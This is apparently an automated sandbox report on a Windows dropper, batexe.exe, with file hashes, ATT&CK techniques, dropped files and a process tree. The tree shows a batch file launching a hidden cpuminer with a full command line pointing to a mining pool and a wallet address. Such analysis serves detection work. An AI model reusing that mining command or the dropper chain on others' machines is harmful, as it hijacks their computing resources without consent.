73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 12:34

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1004	b2e.exe
4300	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4300	cpuminer-sse2.exe
4300	cpuminer-sse2.exe
4300	cpuminer-sse2.exe
4300	cpuminer-sse2.exe
4300	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4976-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4976 wrote to memory of 1004	4976	batexe.exe	84
PID 4976 wrote to memory of 1004	4976	batexe.exe	84
PID 4976 wrote to memory of 1004	4976	batexe.exe	84
PID 1004 wrote to memory of 1664	1004	b2e.exe	85
PID 1004 wrote to memory of 1664	1004	b2e.exe	85
PID 1004 wrote to memory of 1664	1004	b2e.exe	85
PID 1664 wrote to memory of 4300	1664	cmd.exe	88
PID 1664 wrote to memory of 4300	1664	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4976
- C:\Users\Admin\AppData\Local\Temp\88D7.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\88D7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\88D7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\91FF.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\88D7.tmp\b2e.exe

Filesize
21.6MB

MD5
ecf543e64081eb478383945fc7fbe3c8

SHA1
a1022b8a7416be15e72b9feebeb20b1db9c15765

SHA256
ed823461e9cc74e537e704ee5eafe8484d3eda7666880432c0e3abfd1924ca0b

SHA512
0b39c23c60cb9b0c44b40f55ee0af7e833823f989df336b594768b2277842b2f654f3ca2eeb9e8d9beaf58750dc3bcf6c1b480e2ead8a27eda7b460bd2809dda

Download Submit
C:\Users\Admin\AppData\Local\Temp\88D7.tmp\b2e.exe

Filesize
704KB

MD5
2bb8bf63c7d7958f71f9307c8635131f

SHA1
2362f18b011bd1e60fa078052821edefa33b8e08

SHA256
85151a35fd2a7ef587918c4702b2adbe0c3e7eed43bc8564a662ed03a6f3ce79

SHA512
59eba9edea2b2af76f261db76b15912b20070d75db7cf498d55a1bc13f11692d016c9a70ed447a784c874f6d11582112312f3d058443606eb4b6de349a4857ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\88D7.tmp\b2e.exe

Filesize
1.8MB

MD5
848468a51c1628796942b744cef34b86

SHA1
ba50f25fcd928435dcea5e04723e0948ea2b90db

SHA256
7868f8cc974f3247699066d4a13dc4f75420f09a68cccba410b50c3e9808db1d

SHA512
f430668f42269baaab31ecc160077cae6fa84551baa71a614f547e736848b731a82c33789c910b0fa32ca3d66e1bf610383e57260ff664c05ba141b7dc716ab4

Download Submit
C:\Users\Admin\AppData\Local\Temp\91FF.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
256KB

MD5
e0c023f2dc80d8f2415830dcaf9b9e45

SHA1
9806d1f4bd0f76e044071f95f9210b09c2c09fd0

SHA256
dc7de4210ed002ed6ab8340d21f999fd77ff9c1fe4361227ebbe3324b24009a0

SHA512
76d594de32b07899a478e6b1fbe4a158492174439df3a65478b21135aea9695f47cd6b5006d1bb28398fb1b1f0e64f33e839ae16225fe755bcec4d25d3caf0ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
209KB

MD5
75ac8e19a5989e286690e3e344a2f30e

SHA1
243c9dde4c3ea9cdb56e90ad4215c9480fea5dd7

SHA256
ce5fa0865ed790366a068077bc46c1bf0e4f011421c6e249c8a12adf350c72e6

SHA512
f39ae2435462ea3582ba1237bc1f5d78499241b07cc940bf30bcd34e7cb4b8e72672b3538932977cfe7784dafd06b6f6a7a14cd93bb2896515c5c8d9af071cf6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
70KB

MD5
72c4425a81ccf0ff26cbca6c0d11a991

SHA1
5b22b39c275ebb0c8ee55b70daf8d3534b7e6a7e

SHA256
b440d1d23536d9a618b43c6ccc5ec428b412ccdd48ee83b30efd656a45fb9779

SHA512
a1b9554d17b112aaee2533f42949c6861ec919545692d555534aa3841733ca168b7dc28f34b593361c6c7956d8017db387d88795d0f5cc10e571b7b7536dd742

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
42KB

MD5
5336e65b1909dcaf75b82677e9e17d68

SHA1
8f3c3b512ab1825626dd8695030855274d524717

SHA256
9913ae3652d6837ec4851a249858cd9fa472adcd773ca17e407b6813be6f11e2

SHA512
6905bb8d96402ef1c9ff383436e5c7c3e148919e55a50de01f7ae115990993b1e45ab9d5ff08f54484dcfd483c1c4bca6b50a89a5844e47afb803145fc93c05e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
132KB

MD5
dc7614d02a3fd7f54978d5148974a207

SHA1
7593a2b556aea984e587ab7f6140ded52d592958

SHA256
a975c93df43ca645abafd4e4b80c36a24e852a577e61110ec8a330af4c22dcca

SHA512
b455db6f0fce7368df05ea3aa6cb9f018f205f6ac7dfaa14a11a786829c83abba2c0887a237f687f64f7bdadafebe674fad233bd0cacdd163e412db5c62cacba

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
57KB

MD5
4a91d8f522a86a4a67e44a7667410a6f

SHA1
7ecf2598d4da2b1b105991b2f5a49c8e14e648a4

SHA256
4ecdc95a5d1aac157a46642018b8ed1f005ee2ab6e9ab2bf8f38e961dc37ea4c

SHA512
aa5a94d3acb4c310f0b24d132556ff07ec17bc152e4575c7e3e3d89babc9768ac0be323f3ed89c796d145b28f19a7d8d880721077b4e503a2aa3b8990032f9e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
21KB

MD5
bbc2316e7b65a6a8f61f444fb781e5fa

SHA1
9f9c4294e33d466a63a396a87019c5092d8021fb

SHA256
ec855a23caf39a30ac93a11fb1cd4dfa2db96149670daa3e2af73041e60269a7

SHA512
5bdc8abb18205f02377004622d89ce61da7047a4bc00fe21ae9bcabc1d77ec9761996cc84efd771855ce17df5026a18cb6e7c18cacf4c8533d5f9a98c0ccb4c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
55KB

MD5
06b7e23a5d87f427ac527b5db8d68f5c

SHA1
e3242ccbf74042cfd2ad821b812ec3ca912cae1b

SHA256
83d52ae43d56e8540396848cd18375416683e664a00a2d7e3bdbde1aa5067dd1

SHA512
b7de61f45bb248f866b9f48758f0678f977c1d9dde3a4bd52eeacddccf4f3e43c2e429f54be29f4e1e0253d5c587865a782750d81519ef95057e1cd3e6fc3269

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
81KB

MD5
32356c4a73b92a790d8409b7d40b1827

SHA1
48cac1cb62afb2c1856506ccdb3e3336ddff5943

SHA256
b6921bce876ebb870bd8a7b4d9b900dbe140ee6666bdfce6f7758f801390cba6

SHA512
6d0abc610c10c5e6f202a182a5550f84f61dbb207b27e84a2cac5ce1038ed391f671c2dd21e019ca1b8023f2c0af1db4e38d32febcd53353f6af9ac412d6f649

Download Submit
memory/1004-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1004-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4300-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4300-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4300-46-0x0000000072840000-0x00000000728D8000-memory.dmp

Filesize
608KB

Download
memory/4300-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4300-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4300-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4976-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download